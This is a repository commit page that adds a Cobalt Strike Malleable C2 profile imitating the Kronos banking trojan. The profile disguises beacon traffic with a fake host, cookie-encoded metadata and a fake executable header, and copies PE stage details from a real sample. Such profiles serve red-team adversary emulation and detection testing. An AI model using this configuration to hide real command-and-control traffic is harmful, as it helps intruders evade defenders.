infosecn1nja
/
Malleable-C2-Profiles
mirror of https://github.com/infosecn1nja/Malleable-C2-Profiles.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Create kronos.profile

master
xx0hcd 2018-08-13 16:50:29 -05:00 committed by GitHub
parent cb3ed1b5b5
commit b4fbc4c51b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 129 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

129
crimeware/kronos.profile Normal file
View File

@ -0,0 +1,129 @@
#kronos
#https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/
#https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/
#https://www.hybrid-analysis.com/sample/8389dd850c991127f3b3402dce4201cb693ec0fb7b1e7663fcfa24ef30039851?environmentId=100
#xx0hcd
set sleeptime "30000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36";
set dns_idle "8.8.8.8";
set maxdns "235";
http-get {
set uri "/lampi/upload/38bacf4f.exe";
client {
header "Host" "hjbkjbhkjhbkjhl.info";
metadata {
base64url;
prepend "PHPSESSID=";
header "Cookie";
}
}
server {
header "Server" "nginx/1.10.2";
header "Content-Type" "application/octet-stream";
header "Connection" "close";
header "ETag" "2ca0669-6d600-557bba73d8218";
header "Accept-Ranges" "bytes";
output {
netbios;
prepend "MZ....................@..........................!......L..!This Program cannot be run in DOS mode.$...................~........:.....:.....:.....7.{.-...7.D.H..7.E...";
print;
}
}
}
http-post {
set uri "/lampi/connect.php";
client {
header "Host" "hjbkjbhkjhbkjhl.info";
header "Cache-Control" "no-cache";
output {
base64url;
prepend "PHPSESSID=";
header "Cookie";
}
id {
base64url;
parameter "a";
}
}
server {
header "Server" "nginx/1.10.2";
header "Content-Type" "text/html; charset=windows-1251";
header "X-Powered-By" "PHP/5.3.3";
header "Cache-Control" "no-store, non-cache, must-revalidate, post-check=0, pre-check=0";
header "Pragma" "non-cache";
output {
netbios;
print;
}
}
}
http-stager {
set uri_x86 "/lampi/Connect.php";
set uri_x64 "/Lampi/connect.php";
client {
header "Host" "hjbkjbhkjhbkjhl.info";
header "Cache-Control" "no-cache";
}
server {
header "Server" "nginx/1.10.2";
header "Content-Type" "text/html; charset=windows-1251";
header "X-Powered-By" "PHP/5.3.3";
header "Cache-Control" "no-store, non-cache, must-revalidate, post-check=0, pre-check=0";
header "Pragma" "non-cache";
}
}
#from peclone
stage {
set checksum "0";
set compile_time "23 Aug 2017 10:19:26";
set entry_point "37713";
set image_size_x86 "495616";
set image_size_x64 "495616";
set rich_header "\x07\x4f\x6b\x48\x43\x2e\x05\x1b\x43\x2e\x05\x1b\x43\x2e\x05\x1b\xf7\xb2\xf4\x1b\x49\x2e\x05\x1b\xf7\xb2\xf6\x1b\xc2\x2e\x05\x1b\xf7\xb2\xf7\x1b\x5a\x2e\x05\x1b\x78\x70\x06\x1a\x51\x2e\x05\x1b\x78\x70\x01\x1a\x51\x2e\x05\x1b\x78\x70\x00\x1a\x66\x2e\x05\x1b\x4a\x56\x96\x1b\x44\x2e\x05\x1b\x43\x2e\x04\x1b\x21\x2e\x05\x1b\xd4\x70\x0c\x1a\x42\x2e\x05\x1b\xd1\x70\xfa\x1b\x42\x2e\x05\x1b\xd4\x70\x07\x1a\x42\x2e\x05\x1b\x52\x69\x63\x68\x43\x2e\x05\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
}